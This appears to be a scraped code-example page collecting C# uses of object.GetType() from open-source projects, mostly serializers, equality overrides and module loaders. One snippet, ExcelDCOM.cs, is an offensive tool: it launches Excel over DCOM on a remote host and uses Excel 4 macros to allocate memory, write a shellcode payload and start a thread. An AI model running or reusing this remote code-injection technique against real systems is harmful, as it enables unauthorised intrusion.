Here are the examples of the csharp api object.GetType() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
33017 Examples
19
Source : Protocol16Serializer.cs
with MIT License
from 0blu
with MIT License
from 0blu
public static void Serialize(Protocol16Stream output, object obj, bool writeTypeCode)
{
if (obj == null)
{
output.WriteTypeCodeIfTrue(Protocol16Type.Null, writeTypeCode);
return;
}
Protocol16Type type = TypeCodeToProtocol16Type(obj.GetType());
switch (type)
{
case Protocol16Type.Boolean:
SerializeBoolean(output, (bool)obj, writeTypeCode);
return;
case Protocol16Type.Byte:
SerializeByte(output, (byte)obj, writeTypeCode);
return;
case Protocol16Type.Short:
SerializeShort(output, (short)obj, writeTypeCode);
return;
case Protocol16Type.Integer:
SerializeInteger(output, (int)obj, writeTypeCode);
return;
case Protocol16Type.Long:
SerializeLong(output, (long)obj, writeTypeCode);
return;
case Protocol16Type.Float:
SerializeFloat(output, (float)obj, writeTypeCode);
return;
case Protocol16Type.Double:
SerializeDouble(output, (double)obj, writeTypeCode);
return;
case Protocol16Type.String:
SerializeString(output, (string)obj, writeTypeCode);
return;
case Protocol16Type.EventData:
SerializeEventData(output, (EventData)obj, writeTypeCode);
return;
case Protocol16Type.Hashtable:
SerializeHashtable(output, (Hashtable)obj, writeTypeCode);
return;
case Protocol16Type.Dictionary:
SerializeDictionary(output, (IDictionary)obj, writeTypeCode);
return;
case Protocol16Type.OperationResponse:
SerializeOperationResponse(output, (OperationResponse)obj, writeTypeCode);
return;
case Protocol16Type.OperationRequest:
SerializeOperationRequest(output, (OperationRequest)obj, writeTypeCode);
return;
case Protocol16Type.IntegerArray:
case Protocol16Type.StringArray:
case Protocol16Type.ByteArray:
case Protocol16Type.ObjectArray:
case Protocol16Type.Array:
SerializeAnyArray(output, (Array)obj, writeTypeCode, type);
return;
}
// Special case
if (obj is ArraySegment<byte> arraySegment)
{
SerializeArraySegment(output, arraySegment, writeTypeCode);
return;
}
throw new ArgumentException($"Cannot serialize objects of type {obj.GetType()} / System.TypeCode: {Type.GetTypeCode(obj.GetType())}");
}
19
Source : Protocol16Serializer.cs
with MIT License
from 0blu
with MIT License
from 0blu
private static void SerializeArrayWithSameElements(Protocol16Stream output, Array array, bool writeTypeCode)
{
if (array.Length > short.MaxValue)
{
throw new NotSupportedException($"Arrays can only have a maximum size of {short.MaxValue} (short.MaxValue). Yours is: {array.Length}");
}
output.WriteTypeCodeIfTrue(Protocol16Type.Array, writeTypeCode);
SerializeShort(output, (short)array.Length, false);
Type elementType = array.GetType().GetElementType();
Protocol16Type protocol16Type = TypeCodeToProtocol16Type(elementType);
if (protocol16Type == Protocol16Type.Unknown)
{
throw new Exception("Custom types are currently not supported");
}
output.WriteTypeCodeIfTrue(protocol16Type, true);
if (protocol16Type == Protocol16Type.Dictionary)
{
// WTF ExitGames, why are you trying to get GetGenericArguments() of an array..?!
// I think what you wanted to do is just give the element type to SerializeDictionaryHeader not the array type
SerializeDictionaryHeader(output, elementType, out var writeKeyCode, out var writeValueCode);
foreach (var o in array)
{
SerializeDictionaryElements(output, (IDictionary)o, writeKeyCode, writeValueCode);
}
}
else
{
foreach (object o in array)
{
Serialize(output, o, false);
}
}
}
19
Source : Protocol16Serializer.cs
with MIT License
from 0blu
with MIT License
from 0blu
private static void SerializeDictionary(Protocol16Stream output, IDictionary dictionary, bool writeTypeCode)
{
output.WriteTypeCodeIfTrue(Protocol16Type.Dictionary, writeTypeCode);
SerializeDictionaryHeader(output, dictionary.GetType(), out var writeKeyCode, out var writeValueCode);
SerializeDictionaryElements(output, dictionary, writeKeyCode, writeValueCode);
}
19
Source : CacheManager.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
public static bool CacheObject(KeysetId setId, string key, object obj, TimeSpan validFor)
{
bool result;
if (setId != null)
{
if (!CacheSet.AddKey(setId, key))
Log.Warning("cacheKeyset for {0} could not be added. (key={1})", setId, key);
}
if (validFor == TimeSpan.MinValue)
result = Program.DataCacheInstance.Instance.Set(key, obj);
else
result = Program.DataCacheInstance.Instance.Set(key, obj, validFor);
if (!result)
{
Log.Warning("obj({0}) could not be cached for key:{1}", obj.GetType(), key);
return false;
}
return true;
}
19
Source : CelesteNetServer.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public bool TryGet<T>([NotNullWhen(true)] out T? moduleT) where T : clreplaced {
lock (Modules) {
if (ModuleMap.TryGetValue(typeof(T), out CelesteNetServerModule? module)) {
moduleT = module as T ?? throw new Exception($"Incompatible types: Requested {typeof(T).FullName}, got {module.GetType().FullName}");
return true;
}
foreach (CelesteNetServerModule other in Modules)
if (other is T otherT) {
ModuleMap[typeof(T)] = other;
moduleT = otherT;
return true;
}
}
moduleT = null;
return false;
}
19
Source : CelesteNetServerModule.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public virtual void Load(string path = "") {
FilePath = path = Path.GetFullPath(path.Nullify() ?? FilePath);
if (!File.Exists(path)) {
Save(path);
return;
}
Logger.Log(LogLevel.INF, "settings", $"Loading {GetType().Name} from {path}");
using Stream stream = File.OpenRead(path);
using StreamReader reader = new(stream);
Load(reader);
}
19
Source : CelesteNetServerModule.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public virtual void Load(TextReader reader) {
YamlHelper.DeserializerUsing(this).Deserialize(reader, GetType());
}
19
Source : CelesteNetServerModule.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public virtual void Save(string path = "") {
path = Path.GetFullPath(path.Nullify() ?? FilePath);
Logger.Log(LogLevel.INF, "settings", $"Saving {GetType().Name} to {path}");
string? dir = Path.GetDirectoryName(path);
if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
Directory.CreateDirectory(dir);
using (Stream stream = File.OpenWrite(path + ".tmp"))
using (StreamWriter writer = new(stream))
Save(writer);
if (File.Exists(path))
File.Delete(path);
File.Move(path + ".tmp", path);
}
19
Source : CelesteNetServerModule.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public virtual void Save(TextWriter writer) {
YamlHelper.Serializer.Serialize(writer, this, GetType());
}
19
Source : CelesteNetServerModuleWrapper.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public void Load() {
if (Module != null)
return;
Logger.Log(LogLevel.INF, "module", $"Loading {ID}");
Loadreplacedembly();
if (replacedembly == null)
throw new Exception($"Failed to load replacedembly for {ID} - {replacedemblyPath}");
foreach (Type type in replacedembly.GetTypes()) {
if (typeof(CelesteNetServerModule).IsreplacedignableFrom(type) && !type.IsAbstract) {
Module = (CelesteNetServerModule?) Activator.CreateInstance(type);
break;
}
}
if (Module == null)
throw new Exception($"Found no module clreplaced in {ID} - {replacedemblyPath}");
lock (Server.Modules) {
Server.Modules.Add(Module);
Server.ModuleMap[Module.GetType()] = Module;
}
if (Server.Initialized) {
Logger.Log(LogLevel.INF, "module", $"Initializing {ID} (late)");
Module.Init(this);
if (Server.IsAlive) {
Logger.Log(LogLevel.INF, "module", $"Starting {ID} (late)");
Module.Start();
}
Server.Data.RescanDataTypes(replacedembly.GetTypes());
}
}
19
Source : CelesteNetTCPUDPConnection.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public void StartReadUDP() {
if (UDP == null || ReadUDPThread != null)
return;
UDPLocalEndPoint = (IPEndPoint?) UDP.Client.LocalEndPoint;
try {
UDPRemoteEndPoint = (IPEndPoint?) UDP.Client.RemoteEndPoint;
} catch (Exception) {
UDPRemoteEndPoint = TCPRemoteEndPoint;
}
ReadUDPThread = new(ReadUDPLoop) {
Name = $"{GetType().Name} ReadUDP ({Creator} - {GetHashCode()})",
IsBackground = true
};
ReadUDPThread.Start();
}
19
Source : Data.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public virtual T Get<T>(DataContext ctx) where T : MetaType<T>
=> TryGet(ctx, out T? value) ? value : throw new Exception($"DataType {ctx.DataTypeToID[GetType()]} doesn't have MetaType {ctx.MetaTypeToID[typeof(T)]}.");
19
Source : Data.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public virtual string GetTypeID(DataContext ctx)
=> ctx.DataTypeToID.TryGetValue(GetType(), out string? value) ? value : "";
19
Source : Protocol16Deserializer.cs
with MIT License
from 0blu
with MIT License
from 0blu
private static Array DeserializeArray(Protocol16Stream input)
{
short size = DeserializeShort(input);
byte typeCode = (byte)input.ReadByte();
switch ((Protocol16Type)typeCode)
{
case Protocol16Type.Array:
{
Array array = DeserializeArray(input);
Type arrayType = array.GetType();
Array result = Array.CreateInstance(arrayType, size);
result.SetValue(array, 0);
for (short i = 1; i < size; i++)
{
array = DeserializeArray(input);
result.SetValue(array, i);
}
return result;
}
case Protocol16Type.ByteArray:
{
byte[][] array = new byte[size][];
for (short i = 0; i < size; i++)
{
array[i] = DeserializeByteArray(input);
}
return array;
}
case Protocol16Type.Dictionary:
{
DeserializeDictionaryArray(input, size, out Array result);
return result;
}
default:
{
Type arrayType = GetTypeOfCode(typeCode);
Array result = Array.CreateInstance(arrayType, size);
for (short i = 0; i < size; i++)
{
result.SetValue(Deserialize(input, typeCode), i);
}
return result;
}
}
}
19
Source : Data.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
[Obsolete("Use CelesteNetBinaryWriter instead.")]
public virtual void Write(DataContext ctx, BinaryWriter writer)
=> throw new NotSupportedException($"Obsolete, {GetType()} doesn't implement this anymore. Use Write(CelesteNetBinaryWriter) instead.");
19
Source : Meta.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public MetaTypeWrap Wrap(DataContext ctx, MetaType meta) {
ID = ctx.MetaTypeToID[meta.GetType()];
meta.Write(ctx, this);
return this;
}
19
Source : CelesteNetTCPUDPConnection.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public void StartReadTCP() {
if (TCP == null || ReadTCPThread != null)
return;
TCPLocalEndPoint = (IPEndPoint?) TCP.Client.LocalEndPoint;
TCPRemoteEndPoint = (IPEndPoint?) TCP.Client.RemoteEndPoint;
ReadTCPThread = new(ReadTCPLoop) {
Name = $"{GetType().Name} ReadTCP ({Creator} - {GetHashCode()})",
IsBackground = true
};
ReadTCPThread.Start();
}
19
Source : Data.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
[Obsolete("Use CelesteNetBinaryReader instead.")]
public virtual void Read(DataContext ctx, BinaryReader reader)
=> throw new NotSupportedException($"Obsolete, {GetType()} doesn't implement this anymore. Use Read(CelesteNetBinaryReader) instead.");
19
Source : Data.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public virtual string GetSource(DataContext ctx)
=> ctx.DataTypeToSource.TryGetValue(GetType(), out string? value) ? value : "";
19
Source : DataContext.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public void RegisterHandlersIn(object owner) {
if (RegisteredHandlers.ContainsKey(owner))
return;
List<Tuple<Type, DataHandler>> handlers = RegisteredHandlers[owner] = new();
List<Tuple<Type, DataFilter>> filters = RegisteredFilters[owner] = new();
foreach (MethodInfo method in owner.GetType().GetMethods()) {
if (method.Name == "Handle" || method.Name == "Filter") {
ParameterInfo[] args = method.GetParameters();
if (args.Length != 2 || !args[0].ParameterType.IsCompatible(typeof(CelesteNetConnection)))
continue;
Type argType = args[1].ParameterType;
if (!argType.IsCompatible(typeof(DataType)))
continue;
if (method.Name == "Filter") {
Logger.Log(LogLevel.VVV, "data", $"Autoregistering filter for {argType}: {method.GetID()}");
DataFilter filter = (con, data) => method.Invoke(owner, new object[] { con, data }) as bool? ?? false;
filters.Add(Tuple.Create(argType, filter));
RegisterFilter(argType, filter);
} else {
Logger.Log(LogLevel.VVV, "data", $"Autoregistering handler for {argType}: {method.GetID()}");
DataHandler handler = (con, data) => method.Invoke(owner, new object[] { con, data });
handlers.Add(Tuple.Create(argType, handler));
RegisterHandler(argType, handler);
}
}
}
}
19
Source : Logger.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public static void LogDetailedException(/*this*/ Exception? e, string? tag = null) {
if (e == null)
return;
TextWriter w = Writer;
if (tag == null) {
w.WriteLine("--------------------------------");
w.WriteLine("Detailed exception log:");
}
for (Exception? e_ = e; e_ != null; e_ = e_.InnerException) {
w.WriteLine("--------------------------------");
w.WriteLine(e_.GetType().FullName + ": " + e_.Message + "\n" + e_.StackTrace);
switch (e_) {
case ReflectionTypeLoadException rtle:
if (rtle.Types != null)
for (int i = 0; i < rtle.Types.Length; i++)
w.WriteLine("ReflectionTypeLoadException.Types[" + i + "]: " + rtle.Types[i]);
if (rtle.LoaderExceptions != null)
for (int i = 0; i < rtle.LoaderExceptions.Length; i++)
LogDetailedException(rtle.LoaderExceptions[i], tag + (tag == null ? "" : ", ") + "rtle:" + i);
break;
case TypeLoadException tle:
w.WriteLine("TypeLoadException.TypeName: " + tle.TypeName);
break;
case BadImageFormatException bife:
w.WriteLine("BadImageFormatException.FileName: " + bife.FileName);
break;
}
}
}
19
Source : YamlHelper.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public static IDeserializer DeserializerUsing(object objectToBind) {
IObjectFactory defaultObjectFactory = new DefaultObjectFactory();
Type objectType = objectToBind.GetType();
return new DeserializerBuilder()
.IgnoreUnmatchedProperties()
// provide the given object if type matches, fall back to default behavior otherwise.
.WithObjectFactory(type => type == objectType ? objectToBind : defaultObjectFactory.Create(type))
.WithTypeConverter(new ColorYamlTypeConverter())
.Build();
}
19
Source : SqDatabase.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private void CheckDisposed()
{
if (this._isDisposed > 0)
{
throw new ObjectDisposedException(GetType().Name);
}
}
19
Source : ExprDbSchema.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ExprDbSchema) obj);
}
19
Source : ExprTable.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return this.Equals((ExprTable) obj);
}
19
Source : ExprTableFullName.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ExprTableFullName) obj);
}
19
Source : ExprAlias.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ExprAlias) obj);
}
19
Source : ExprAliasGuid.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return this.Equals((ExprAliasGuid) obj);
}
19
Source : ExprColumn.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return this.Equals((ExprColumn) obj);
}
19
Source : ExprColumnAlias.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ExprColumnAlias) obj);
}
19
Source : ExprColumnName.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ExprColumnName) obj);
}
19
Source : ExprDatabaseName.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ExprDatabaseName) obj);
}
19
Source : ExprFunctionName.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ExprFunctionName) obj);
}
19
Source : ExprNameEqualityComparer.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public bool Equals(IExprName? x, IExprName? y)
{
if (ReferenceEquals(x, y)) return true;
if (ReferenceEquals(x, null)) return false;
if (ReferenceEquals(y, null)) return false;
if (x.GetType() != y.GetType()) return false;
return x.Name == y.Name;
}
19
Source : ExprNameEqualityComparer.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public bool Equals(IExprName? x, IExprName? y)
{
if (ReferenceEquals(x, y)) return true;
if (ReferenceEquals(x, null)) return false;
if (ReferenceEquals(y, null)) return false;
if (x.GetType() != y.GetType()) return false;
return x.LowerInvariantName == y.LowerInvariantName;
}
19
Source : ExprSchemaName.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ExprSchemaName) obj);
}
19
Source : ExprTableAlias.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return this.Equals((ExprTableAlias) obj);
}
19
Source : ExprTableName.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ExprTableName) obj);
}
19
Source : ExprValue.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ExprValue) obj);
}
19
Source : ColumnRef.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((ColumnRef) obj);
}
19
Source : TableRef.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((TableRef) obj);
}
19
Source : IScenario.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public async Task Exec(IScenarioContext context)
{
foreach (var scenario in this._scenarios)
{
context.WriteLine($"--{scenario.GetType().Name}--");
context.WriteLine(null);
await scenario.Exec(context);
context.WriteLine(null);
}
}
19
Source : ScAllColumnTypes.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override bool Equals(object? obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != this.GetType()) return false;
return Equals((AllColumnTypesDto) obj);
}
19
Source : AvifItemData.cs
with MIT License
from 0xC0000054
with MIT License
from 0xC0000054
protected void VerifyNotDisposed()
{
if (this.disposed)
{
ExceptionUtil.ThrowObjectDisposedException(GetType().Name);
}
}
19
Source : HeifReaderFactory.cs
with GNU Lesser General Public License v3.0
from 0xC0000054
with GNU Lesser General Public License v3.0
from 0xC0000054
public static HeifReader CreateFromStream(Stream stream, bool ownsStream)
{
Validate.IsNotNull(stream, nameof(stream));
HeifReader reader;
// If the stream is a MemoryStream with an accessible buffer we can avoid
// having to copy data to a temporary buffer when reading from the stream.
// This check excludes types that are derived from MemoryStream because they may invalidate the
// underlying buffer when the stream is disposed.
if (stream.GetType() == typeof(MemoryStream) && ((MemoryStream)stream).TryGetBuffer(out var buffer))
{
reader = new HeifByteArrayReader(buffer);
// The doreplacedentation for GetBuffer indicates that the buffer remains valid after the MemoryStream is disposed.
if (ownsStream)
{
stream.Dispose();
}
}
else
{
if (stream.Length <= HeifStreamReader.MaxReadBufferSize)
{
byte[] bytes = CopyStreamToByteArray(stream);
if (ownsStream)
{
stream.Dispose();
}
reader = new HeifByteArrayReader(bytes);
}
else
{
reader = new HeifStreamReader(stream, ownsStream);
}
}
return reader;
}
19
Source : Disposable.cs
with GNU Lesser General Public License v3.0
from 0xC0000054
with GNU Lesser General Public License v3.0
from 0xC0000054
protected void VerifyNotDisposed()
{
if (this.disposed)
{
throw new ObjectDisposedException(GetType().Name);
}
}
19
Source : CompressedAV1Data.cs
with MIT License
from 0xC0000054
with MIT License
from 0xC0000054
private void VerifyNotDisposed()
{
if (this.disposed)
{
ExceptionUtil.ThrowObjectDisposedException(GetType().Name);
}
}
19
Source : DefaultCacheKeyBuilder.cs
with MIT License
from 1100100
with MIT License
from 1100100
private static IEnumerable<PropertyInfo> GetProperties(object param)
{
return ParamProperties.GetOrAdd(param.GetType(), key =>
{
return key.GetProperties().Where(p => p.CanRead).ToList();
});
}
19
Source : ExcelDCOM.cs
with GNU General Public License v3.0
from 0xthirteen
with GNU General Public License v3.0
from 0xthirteen
static void ExecExcelDCOM(string computername, string arch)
{
try
{
Type ComType = Type.GetTypeFromProgID("Excel.Application", computername);
object RemoteComObject = Activator.CreateInstance(ComType);
int lpAddress;
if (arch == "x64")
{
lpAddress = 1342177280;
}
else
{
lpAddress = 0;
}
string strfn = ("$$PAYLOAD$$");
byte[] benign = Convert.FromBase64String(strfn);
var memaddr = Convert.ToDouble(RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\"," + lpAddress + "," + benign.Length + ",4096,64)" }));
int count = 0;
foreach (var mybyte in benign)
{
var charbyte = String.Format("CHAR({0})", mybyte);
var ret = RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",-1, " + (memaddr + count) + "," + charbyte + ", 1, 0)" });
count = count + 1;
}
RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",0, 0, " + memaddr + ", 0, 0, 0)" });
Console.WriteLine("[+] Executing against : {0}", computername);
}
catch (Exception e)
{
Console.WriteLine("[-] Error: {0}", e.Message);
}
}
19
Source : DiscKeyInfo.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public override bool Equals(object obj) {
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != typeof(DiscKeyInfo)) return false;
return Equals((DiscKeyInfo)obj);
}
See More Examples